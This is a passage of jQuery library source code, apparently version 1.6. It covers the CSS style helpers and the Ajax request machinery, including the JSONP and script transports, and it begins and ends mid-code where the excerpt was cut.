position: "absolute", visibility: "hidden", display: "block" }, cssWidth = [ "Left", "Right" ], cssHeight = [ "Top", "Bottom" ], curCSS, getComputedStyle, currentStyle, fcamelCase = function( all, letter ) { return letter.toUpperCase(); }; jQuery.fn.css = function( name, value ) { // Setting 'undefined' is a no-op if ( arguments.length === 2 && value === undefined ) { return this; } return jQuery.access( this, name, value, true, function( elem, name, value ) { return value !== undefined ? jQuery.style( elem, name, value ) : jQuery.css( elem, name ); }); }; jQuery.extend({ // Add in style property hooks for overriding the default // behavior of getting and setting a style property cssHooks: { opacity: { get: function( elem, computed ) { if ( computed ) { // We should always get a number back from opacity var ret = curCSS( elem, "opacity", "opacity" ); return ret === "" ? "1" : ret; } else { return elem.style.opacity; } } } }, // Exclude the following css properties to add px cssNumber: { "zIndex": true, "fontWeight": true, "opacity": true, "zoom": true, "lineHeight": true }, // Add in properties whose names you wish to fix before // setting or getting the value cssProps: { // normalize float css property "float": jQuery.support.cssFloat ? "cssFloat" : "styleFloat" }, // Get and set the style property on a DOM Node style: function( elem, name, value, extra ) { // Don't set styles on text and comment nodes if ( !elem || elem.nodeType === 3 || elem.nodeType === 8 || !elem.style ) { return; } // Make sure that we're working with the right name var ret, origName = jQuery.camelCase( name ), style = elem.style, hooks = jQuery.cssHooks[ origName ]; name = jQuery.cssProps[ origName ] || origName; // Check if we're setting a value if ( value !== undefined ) { // Make sure that NaN and null values aren't set. See: #7116 if ( typeof value === "number" && isNaN( value ) || value == null ) { return; } // If a number was passed in, add 'px' to the (except for certain CSS properties) if ( typeof value === "number" && !jQuery.cssNumber[ origName ] ) { value += "px"; } // If a hook was provided, use that value, otherwise just set the specified value if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value )) !== undefined ) { // Wrapped to prevent IE from throwing errors when 'invalid' values are provided // Fixes bug #5509 try { style[ name ] = value; } catch(e) {} } } else { // If a hook was provided get the non-computed value from there if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) { return ret; } // Otherwise just get the value from the style object return style[ name ]; } }, css: function( elem, name, extra ) { // Make sure that we're working with the right name var ret, origName = jQuery.camelCase( name ), hooks = jQuery.cssHooks[ origName ]; name = jQuery.cssProps[ origName ] || origName; // If a hook was provided get the computed value from there if ( hooks && "get" in hooks && (ret = hooks.get( elem, true, extra )) !== undefined ) { return ret; // Otherwise, if a way to get the computed value exists, use that } else if ( curCSS ) { return curCSS( elem, name, origName ); } }, // A method for quickly swapping in/out CSS properties to get correct calculations swap: function( elem, options, callback ) { var old = {}; // Remember the old values, and insert the new ones for ( var name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } callback.call( elem ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } }, camelCase: function( string ) { return string.replace( rdashAlpha, fcamelCase ); } }); // DEPRECATED, Use jQuery.css() instead jQuery.curCSS = jQuery.css; jQuery.each(["height", "width"], function( i, name ) { jQuery.cssHooks[ name ] = { get: function( elem, computed, extra ) { var val; if ( computed ) { if ( elem.offsetWidth !== 0 ) { val = getWH( elem, name, extra ); } else { jQuery.swap( elem, cssShow, function() { val = getWH( elem, name, extra ); }); } if ( val <= 0 ) { val = curCSS( elem, name, name ); if ( val === "0px" && currentStyle ) { val = currentStyle( elem, name, name ); } if ( val != null ) { // Should return "auto" instead of 0, use 0 for // temporary backwards-compat return val === "" || val === "auto" ? "0px" : val; } } if ( val < 0 || val == null ) { val = elem.style[ name ]; // Should return "auto" instead of 0, use 0 for // temporary backwards-compat return val === "" || val === "auto" ? "0px" : val; } return typeof val === "string" ? val : val + "px"; } }, set: function( elem, value ) { if ( rnumpx.test( value ) ) { // ignore negative width and height values #1599 value = parseFloat(value); if ( value >= 0 ) { return value + "px"; } } else { return value; } } }; }); if ( !jQuery.support.opacity ) { jQuery.cssHooks.opacity = { get: function( elem, computed ) { // IE uses filters for opacity return ropacity.test((computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "") ? (parseFloat(RegExp.$1) / 100) + "" : computed ? "1" : ""; }, set: function( elem, value ) { var style = elem.style; // IE has trouble with opacity if it does not have layout // Force it by setting the zoom level style.zoom = 1; // Set the alpha filter to set the opacity var opacity = jQuery.isNaN(value) ? "" : "alpha(opacity=" + value * 100 + ")", filter = style.filter || ""; style.filter = ralpha.test(filter) ? filter.replace(ralpha, opacity) : style.filter + ' ' + opacity; } }; } jQuery(function() { // This hook cannot be added until DOM ready because the support test // for it is not run until after DOM ready if ( !jQuery.support.reliableMarginRight ) { jQuery.cssHooks.marginRight = { get: function( elem, computed ) { // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right // Work around by temporarily setting element display to inline-block var ret; jQuery.swap( elem, { "display": "inline-block" }, function() { if ( computed ) { ret = curCSS( elem, "margin-right", "marginRight" ); } else { ret = elem.style.marginRight; } }); return ret; } }; } }); if ( document.defaultView && document.defaultView.getComputedStyle ) { getComputedStyle = function( elem, newName, name ) { var ret, defaultView, computedStyle; name = name.replace( rupper, "-$1" ).toLowerCase(); if ( !(defaultView = elem.ownerDocument.defaultView) ) { return undefined; } if ( (computedStyle = defaultView.getComputedStyle( elem, null )) ) { ret = computedStyle.getPropertyValue( name ); if ( ret === "" && !jQuery.contains( elem.ownerDocument.documentElement, elem ) ) { ret = jQuery.style( elem, name ); } } return ret; }; } if ( document.documentElement.currentStyle ) { currentStyle = function( elem, name ) { var left, ret = elem.currentStyle && elem.currentStyle[ name ], rsLeft = elem.runtimeStyle && elem.runtimeStyle[ name ], style = elem.style; // From the awesome hack by Dean Edwards // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291 // If we're not dealing with a regular pixel number // but a number that has a weird ending, we need to convert it to pixels if ( !rnumpx.test( ret ) && rnum.test( ret ) ) { // Remember the original values left = style.left; // Put in the new values to get a computed value out if ( rsLeft ) { elem.runtimeStyle.left = elem.currentStyle.left; } style.left = name === "fontSize" ? "1em" : (ret || 0); ret = style.pixelLeft + "px"; // Revert the changed values style.left = left; if ( rsLeft ) { elem.runtimeStyle.left = rsLeft; } } return ret === "" ? "auto" : ret; }; } curCSS = getComputedStyle || currentStyle; function getWH( elem, name, extra ) { var which = name === "width" ? cssWidth : cssHeight, val = name === "width" ? elem.offsetWidth : elem.offsetHeight; if ( extra === "border" ) { return val; } jQuery.each( which, function() { if ( !extra ) { val -= parseFloat(jQuery.css( elem, "padding" + this )) || 0; } if ( extra === "margin" ) { val += parseFloat(jQuery.css( elem, "margin" + this )) || 0; } else { val -= parseFloat(jQuery.css( elem, "border" + this + "Width" )) || 0; } }); return val; } if ( jQuery.expr && jQuery.expr.filters ) { jQuery.expr.filters.hidden = function( elem ) { var width = elem.offsetWidth, height = elem.offsetHeight; return (width === 0 && height === 0) || (!jQuery.support.reliableHiddenOffsets && (elem.style.display || jQuery.css( elem, "display" )) === "none"); }; jQuery.expr.filters.visible = function( elem ) { return !jQuery.expr.filters.hidden( elem ); }; } var r20 = /%20/g, rbracket = /\[\]$/, rCRLF = /\r?\n/g, rhash = /#.*$/, rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, // IE leaves an \r character at EOL rinput = /^(?:color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i, // #7653, #8125, #8152: local protocol detection rlocalProtocol = /^(?:about|app|app\-storage|.+\-extension|file|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, rquery = /\?/, rscript = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, rselectTextarea = /^(?:select|textarea)/i, rspacesAjax = /\s+/, rts = /([?&])_=[^&]*/, rucHeaders = /(^|\-)([a-z])/g, rucHeadersFunc = function( _, $1, $2 ) { return $1 + $2.toUpperCase(); }, rurl = /^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/, // Keep a copy of the old load method _load = jQuery.fn.load, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Document location ajaxLocation, // Document location segments ajaxLocParts; // #8138, IE may throw an exception when accessing // a field from document.location if document.domain has been set try { ajaxLocation = document.location.href; } catch( e ) { // Use the href attribute of an A element // since IE will modify it given document.location ajaxLocation = document.createElement( "a" ); ajaxLocation.href = ""; ajaxLocation = ajaxLocation.href; } // Segment location into parts ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || []; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } if ( jQuery.isFunction( func ) ) { var dataTypes = dataTypeExpression.toLowerCase().split( rspacesAjax ), i = 0, length = dataTypes.length, dataType, list, placeBefore; // For each dataType in the dataTypeExpression for(; i < length; i++ ) { dataType = dataTypes[ i ]; // We control if we're asked to add before // any existing element placeBefore = /^\+/.test( dataType ); if ( placeBefore ) { dataType = dataType.substr( 1 ) || "*"; } list = structure[ dataType ] = structure[ dataType ] || []; // then we add to the structure accordingly list[ placeBefore ? "unshift" : "push" ]( func ); } } }; } //Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR, dataType /* internal */, inspected /* internal */ ) { dataType = dataType || options.dataTypes[ 0 ]; inspected = inspected || {}; inspected[ dataType ] = true; var list = structure[ dataType ], i = 0, length = list ? list.length : 0, executeOnly = ( structure === prefilters ), selection; for(; i < length && ( executeOnly || !selection ); i++ ) { selection = list[ i ]( options, originalOptions, jqXHR ); // If we got redirected to another dataType // we try there if executing only and not done already if ( typeof selection === "string" ) { if ( !executeOnly || inspected[ selection ] ) { selection = undefined; } else { options.dataTypes.unshift( selection ); selection = inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR, selection, inspected ); } } } // If we're only executing or nothing was selected // we try the catchall dataType if not done already if ( ( executeOnly || !selection ) && !inspected[ "*" ] ) { selection = inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR, "*", inspected ); } // unnecessary when only executing (prefilters) // but it'll be ignored by the caller in that case return selection; } jQuery.fn.extend({ load: function( url, params, callback ) { if ( typeof url !== "string" && _load ) { return _load.apply( this, arguments ); // Don't do a request if no elements are being requested } else if ( !this.length ) { return this; } var off = url.indexOf( " " ); if ( off >= 0 ) { var selector = url.slice( off, url.length ); url = url.slice( 0, off ); } // Default to a GET request var type = "GET"; // If the second parameter was provided if ( params ) { // If it's a function if ( jQuery.isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( typeof params === "object" ) { params = jQuery.param( params, jQuery.ajaxSettings.traditional ); type = "POST"; } } var self = this; // Request the remote document jQuery.ajax({ url: url, type: type, dataType: "html", data: params, // Complete callback (responseText is used internally) complete: function( jqXHR, status, responseText ) { // Store the response as specified by the jqXHR object responseText = jqXHR.responseText; // If successful, inject the HTML into all the matched elements if ( jqXHR.isResolved() ) { // #4825: Get the actual response in case // a dataFilter is present in ajaxSettings jqXHR.done(function( r ) { responseText = r; }); // See if a selector was specified self.html( selector ? // Create a dummy div to hold the results jQuery("<div>") // inject the contents of the document in, removing the scripts // to avoid any 'Permission Denied' errors in IE .append(responseText.replace(rscript, "")) // Locate the specified elements .find(selector) : // If not, just inject the full result responseText ); } if ( callback ) { self.each( callback, [ responseText, status, jqXHR ] ); } } }); return this; }, serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map(function(){ return this.elements ? jQuery.makeArray( this.elements ) : this; }) .filter(function(){ return this.name && !this.disabled && ( this.checked || rselectTextarea.test( this.nodeName ) || rinput.test( this.type ) ); }) .map(function( i, elem ){ var val = jQuery( this ).val(); return val == null ? null : jQuery.isArray( val ) ? jQuery.map( val, function( val, i ){ return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }) : { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; }).get(); } }); // Attach a bunch of functions for handling common AJAX events jQuery.each( "ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split( " " ), function( i, o ){ jQuery.fn[ o ] = function( f ){ return this.bind( o, f ); }; } ); jQuery.each( [ "get", "post" ], function( i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // shift arguments if data argument was omitted if ( jQuery.isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } return jQuery.ajax({ type: method, url: url, data: data, success: callback, dataType: type }); }; } ); jQuery.extend({ getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function ( target, settings ) { if ( !settings ) { // Only one parameter, we extend ajaxSettings settings = target; target = jQuery.extend( true, jQuery.ajaxSettings, settings ); } else { // target was provided, we extend into it jQuery.extend( true, target, jQuery.ajaxSettings, settings ); } // Flatten fields we don't want deep extended for( var field in { context: 1, url: 1 } ) { if ( field in settings ) { target[ field ] = settings[ field ]; } else if( field in jQuery.ajaxSettings ) { target[ field ] = jQuery.ajaxSettings[ field ]; } } return target; }, ajaxSettings: { url: ajaxLocation, isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ), global: true, type: "GET", contentType: "application/x-www-form-urlencoded", processData: true, async: true, /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, traditional: false, headers: {}, */ accepts: { xml: "application/xml, text/xml", html: "text/html", text: "text/plain", json: "application/json, text/javascript", "*": "*/*" }, contents: { xml: /xml/, html: /html/, json: /json/ }, responseFields: { xml: "responseXML", text: "responseText" }, // List of data converters // 1) key format is "source_type destination_type" (a single space in-between) // 2) the catchall symbol "*" can be used for source_type converters: { // Convert anything to text "* text": window.String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": jQuery.parseJSON, // Parse text as xml "text xml": jQuery.parseXML } }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for global events // It's the callbackContext if one was provided in the options // and if it's a DOM node or a jQuery collection globalEventContext = callbackContext !== s && ( callbackContext.nodeType || callbackContext instanceof jQuery ) ? jQuery( callbackContext ) : jQuery.event, // Deferreds deferred = jQuery.Deferred(), completeDeferred = jQuery._Deferred(), // Status-dependent callbacks statusCode = s.statusCode || {}, // ifModified key ifModifiedKey, // Headers (they are sent all at once) requestHeaders = {}, // Response headers responseHeadersString, responseHeaders, // transport transport, // timeout handle timeoutTimer, // Cross-domain detection vars parts, // The jqXHR state state = 0, // To know if global events are to be dispatched fireGlobals, // Loop variable i, // Fake xhr jqXHR = { readyState: 0, // Caches the header setRequestHeader: function( name, value ) { if ( !state ) { requestHeaders[ name.toLowerCase().replace( rucHeaders, rucHeadersFunc ) ] = value; } return this; }, // Raw string getAllResponseHeaders: function() { return state === 2 ? responseHeadersString : null; }, // Builds headers hashtable if needed getResponseHeader: function( key ) { var match; if ( state === 2 ) { if ( !responseHeaders ) { responseHeaders = {}; while( ( match = rheaders.exec( responseHeadersString ) ) ) { responseHeaders[ match[1].toLowerCase() ] = match[ 2 ]; } } match = responseHeaders[ key.toLowerCase() ]; } return match === undefined ? null : match; }, // Overrides response content-type header overrideMimeType: function( type ) { if ( !state ) { s.mimeType = type; } return this; }, // Cancel the request abort: function( statusText ) { statusText = statusText || "abort"; if ( transport ) { transport.abort( statusText ); } done( 0, statusText ); return this; } }; // Callback for when everything is done // It is defined here because jslint complains if it is declared // at the end of the function (which would be more logical and readable) function done( status, statusText, responses, headers ) { // Called once if ( state === 2 ) { return; } // State is "done" now state = 2; // Clear timeout if it exists if ( timeoutTimer ) { clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status ? 4 : 0; var isSuccess, success, error, response = responses ? ajaxHandleResponses( s, jqXHR, responses ) : undefined, lastModified, etag; // If successful, handle type chaining if ( status >= 200 && status < 300 || status === 304 ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( ( lastModified = jqXHR.getResponseHeader( "Last-Modified" ) ) ) { jQuery.lastModified[ ifModifiedKey ] = lastModified; } if ( ( etag = jqXHR.getResponseHeader( "Etag" ) ) ) { jQuery.etag[ ifModifiedKey ] = etag; } } // If not modified if ( status === 304 ) { statusText = "notmodified"; isSuccess = true; // If we have data } else { try { success = ajaxConvert( s, response ); statusText = "success"; isSuccess = true; } catch(e) { // We have a parsererror statusText = "parsererror"; error = e; } } } else { // We extract error from statusText // then normalize statusText and status for non-aborts error = statusText; if( !statusText || status ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = statusText; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( "ajax" + ( isSuccess ? "Success" : "Error" ), [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.resolveWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s] ); // Handle the global AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger( "ajaxStop" ); } } } // Attach deferreds deferred.promise( jqXHR ); jqXHR.success = jqXHR.done; jqXHR.error = jqXHR.fail; jqXHR.complete = completeDeferred.done; // Status-dependent callbacks jqXHR.statusCode = function( map ) { if ( map ) { var tmp; if ( state < 2 ) { for( tmp in map ) { statusCode[ tmp ] = [ statusCode[tmp], map[tmp] ]; } } else { tmp = map[ jqXHR.status ]; jqXHR.then( tmp, tmp ); } } return this; }; // Remove hash character (#7531: and string promotion) // Add protocol if not provided (#5866: IE7 issue with protocol-less urls) // We also use the url parameter if available s.url = ( ( url || s.url ) + "" ).replace( rhash, "" ).replace( rprotocol, ajaxLocParts[ 1 ] + "//" ); // Extract dataTypes list s.dataTypes = jQuery.trim( s.dataType || "*" ).toLowerCase().split( rspacesAjax ); // Determine if a cross-domain request is in order if ( s.crossDomain == null ) { parts = rurl.exec( s.url.toLowerCase() ); s.crossDomain = !!( parts && ( parts[ 1 ] != ajaxLocParts[ 1 ] || parts[ 2 ] != ajaxLocParts[ 2 ] || ( parts[ 3 ] || ( parts[ 1 ] === "http:" ? 80 : 443 ) ) != ( ajaxLocParts[ 3 ] || ( ajaxLocParts[ 1 ] === "http:" ? 80 : 443 ) ) ) ); } // Convert data if not already a string if ( s.data && s.processData && typeof s.data !== "string" ) { s.data = jQuery.param( s.data, s.traditional ); } // Apply prefilters inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); // If request was aborted inside a prefiler, stop there if ( state === 2 ) { return false; } // We can fire global events as of now if asked to fireGlobals = s.global; // Uppercase the type s.type = s.type.toUpperCase(); // Determine if request has content s.hasContent = !rnoContent.test( s.type ); // Watch for a new set of requests if ( fireGlobals && jQuery.active++ === 0 ) { jQuery.event.trigger( "ajaxStart" ); } // More options handling for requests with no content if ( !s.hasContent ) { // If data is available, append data to url if ( s.data ) { s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.data; } // Get ifModifiedKey before adding the anti-cache parameter ifModifiedKey = s.url; // Add anti-cache in url if needed if ( s.cache === false ) { var ts = jQuery.now(), // try replacing _= if it is there ret = s.url.replace( rts, "$1_=" + ts ); // if nothing was replaced, add timestamp to the end s.url = ret + ( (ret === s.url ) ? ( rquery.test( s.url ) ? "&" : "?" ) + "_=" + ts : "" ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { requestHeaders[ "Content-Type" ] = s.contentType; } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { ifModifiedKey = ifModifiedKey || s.url; if ( jQuery.lastModified[ ifModifiedKey ] ) { requestHeaders[ "If-Modified-Since" ] = jQuery.lastModified[ ifModifiedKey ]; } if ( jQuery.etag[ ifModifiedKey ] ) { requestHeaders[ "If-None-Match" ] = jQuery.etag[ ifModifiedKey ]; } } // Set the Accepts header for the server, depending on the dataType requestHeaders.Accept = s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[0] ] ? s.accepts[ s.dataTypes[0] ] + ( s.dataTypes[ 0 ] !== "*" ? ", */*; q=0.01" : "" ) : s.accepts[ "*" ]; // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || state === 2 ) ) { // Abort if not done already jqXHR.abort(); return false; } // Install callbacks on deferreds for ( i in { success: 1, error: 1, complete: 1 } ) { jqXHR[ i ]( s[ i ] ); } // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send global event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = setTimeout( function(){ jqXHR.abort( "timeout" ); }, s.timeout ); } try { state = 1; transport.send( requestHeaders, done ); } catch (e) { // Propagate exception as error if not done if ( status < 2 ) { done( -1, e ); // Simply rethrow otherwise } else { jQuery.error( e ); } } } return jqXHR; }, // Serialize an array of form elements or a set of // key/values into a query string param: function( a, traditional ) { var s = [], add = function( key, value ) { // If value is a function, invoke it and return its value value = jQuery.isFunction( value ) ? value() : value; s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value ); }; // Set traditional to true for jQuery <= 1.3.2 behavior. if ( traditional === undefined ) { traditional = jQuery.ajaxSettings.traditional; } // If an array was passed in, assume that it is an array of form elements. if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); } ); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( var prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ).replace( r20, "+" ); } }); function buildParams( prefix, obj, traditional, add ) { if ( jQuery.isArray( obj ) && obj.length ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // If array item is non-scalar (array or object), encode its // numeric index to resolve deserialization ambiguity issues. // Note that rack (as of 1.0.0) can't currently deserialize // nested arrays properly, and attempting to do so may cause // a server error. Possible fixes are to modify rack's // deserialization algorithm or to provide an option or flag // to force array serialization to be shallow. buildParams( prefix + "[" + ( typeof v === "object" || jQuery.isArray(v) ? i : "" ) + "]", v, traditional, add ); } }); } else if ( !traditional && obj != null && typeof obj === "object" ) { // If we see an array here, it is empty and should be treated as an empty // object if ( jQuery.isArray( obj ) || jQuery.isEmptyObject( obj ) ) { add( prefix, "" ); // Serialize object item. } else { for ( var name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } } else { // Serialize scalar item. add( prefix, obj ); } } // This is still on the jQuery object... for now // Want to move this to jQuery.ajax some day jQuery.extend({ // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {} }); /* Handles responses to an ajax request: * - sets all responseXXX fields accordingly * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var contents = s.contents, dataTypes = s.dataTypes, responseFields = s.responseFields, ct, type, finalDataType, firstDataType; // Fill responseXXX fields for( type in responseFields ) { if ( type in responses ) { jqXHR[ responseFields[type] ] = responses[ type ]; } } // Remove auto dataType and get content-type in the process while( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader( "content-type" ); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } // Chain conversions given the request and the original response function ajaxConvert( s, response ) { // Apply the dataFilter if provided if ( s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } var dataTypes = s.dataTypes, converters = {}, i, key, length = dataTypes.length, tmp, // Current and previous dataTypes current = dataTypes[ 0 ], prev, // Conversion expression conversion, // Conversion function conv, // Conversion functions (transitive conversion) conv1, conv2; // For each dataType in the chain for( i = 1; i < length; i++ ) { // Create converters map // with lowercased keys if ( i === 1 ) { for( key in s.converters ) { if( typeof key === "string" ) { converters[ key.toLowerCase() ] = s.converters[ key ]; } } } // Get the dataTypes prev = current; current = dataTypes[ i ]; // If current is auto dataType, update it to prev if( current === "*" ) { current = prev; // If no auto and dataTypes are actually different } else if ( prev !== "*" && prev !== current ) { // Get the converter conversion = prev + " " + current; conv = converters[ conversion ] || converters[ "* " + current ]; // If there is no direct converter, search transitively if ( !conv ) { conv2 = undefined; for( conv1 in converters ) { tmp = conv1.split( " " ); if ( tmp[ 0 ] === prev || tmp[ 0 ] === "*" ) { conv2 = converters[ tmp[1] + " " + current ]; if ( conv2 ) { conv1 = converters[ conv1 ]; if ( conv1 === true ) { conv = conv2; } else if ( conv2 === true ) { conv = conv1; } break; } } } } // If we found no converter, dispatch an error if ( !( conv || conv2 ) ) { jQuery.error( "No conversion from " + conversion.replace(" "," to ") ); } // If found converter is not an equivalence if ( conv !== true ) { // Convert with 1 or 2 converters accordingly response = conv ? conv( response ) : conv2( conv1(response) ); } } } return response; } var jsc = jQuery.now(), jsre = /(\=)\?(&|$)|\?\?/i; // Default jsonp settings jQuery.ajaxSetup({ jsonp: "callback", jsonpCallback: function() { return jQuery.expando + "_" + ( jsc++ ); } }); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var dataIsString = ( typeof s.data === "string" ); if ( s.dataTypes[ 0 ] === "jsonp" || originalSettings.jsonpCallback || originalSettings.jsonp != null || s.jsonp !== false && ( jsre.test( s.url ) || dataIsString && jsre.test( s.data ) ) ) { var responseContainer, jsonpCallback = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback, previous = window[ jsonpCallback ], url = s.url, data = s.data, replace = "$1" + jsonpCallback + "$2", cleanUp = function() { // Set callback back to previous value window[ jsonpCallback ] = previous; // Call if it was a function and we have a response if ( responseContainer && jQuery.isFunction( previous ) ) { window[ jsonpCallback ]( responseContainer[ 0 ] ); } }; if ( s.jsonp !== false ) { url = url.replace( jsre, replace ); if ( s.url === url ) { if ( dataIsString ) { data = data.replace( jsre, replace ); } if ( s.data === data ) { // Add callback manually url += (/\?/.test( url ) ? "&" : "?") + s.jsonp + "=" + jsonpCallback; } } } s.url = url; s.data = data; // Install callback window[ jsonpCallback ] = function( response ) { responseContainer = [ response ]; }; // Install cleanUp function jqXHR.then( cleanUp, cleanUp ); // Use data converter to retrieve json after script execution s.converters["script json"] = function() { if ( !responseContainer ) { jQuery.error( jsonpCallback + " was not called" ); } return responseContainer[ 0 ]; }; // force json dataType s.dataTypes[ 0 ] = "json"; // Delegate to script return "script"; } } ); // Install script dataType jQuery.ajaxSetup({ accepts: { script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript" }, contents: { script: /javascript|ecmascript/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } }); // Handle cache's special case and global jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; s.global = false; } } ); // Bind script tag hack transport jQuery.ajaxTransport( "script", function(s) { // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, head = document.head || document.getElementsByTagName( "head" )[0] || document.documentElement; return { send: function( _, callback ) { script = document.createElement( "script" ); script.async = "async"; if ( s.scriptCharset ) { script.charset = s.scriptCharset; } script.src = s.url; // Attach handlers for all browsers script.onload = script.onreadystatechange = function( _, isAbort ) { if ( !script.readyState || /loaded|complete/.test( script.readyState ) ) { // Handle memory leak in IE script.onload = script.onreadystatechange = null; // Remove the script if ( head && script.parentNode ) { head.removeChild( script ); } // Dereference the script script = undefined; // Callback if not abort if ( !isAbort ) { callback( 200, "success" ); } } }; // Use insertBefore instead of appendChild to circumvent an IE6 bug. // This arises when a base node is used (#2709 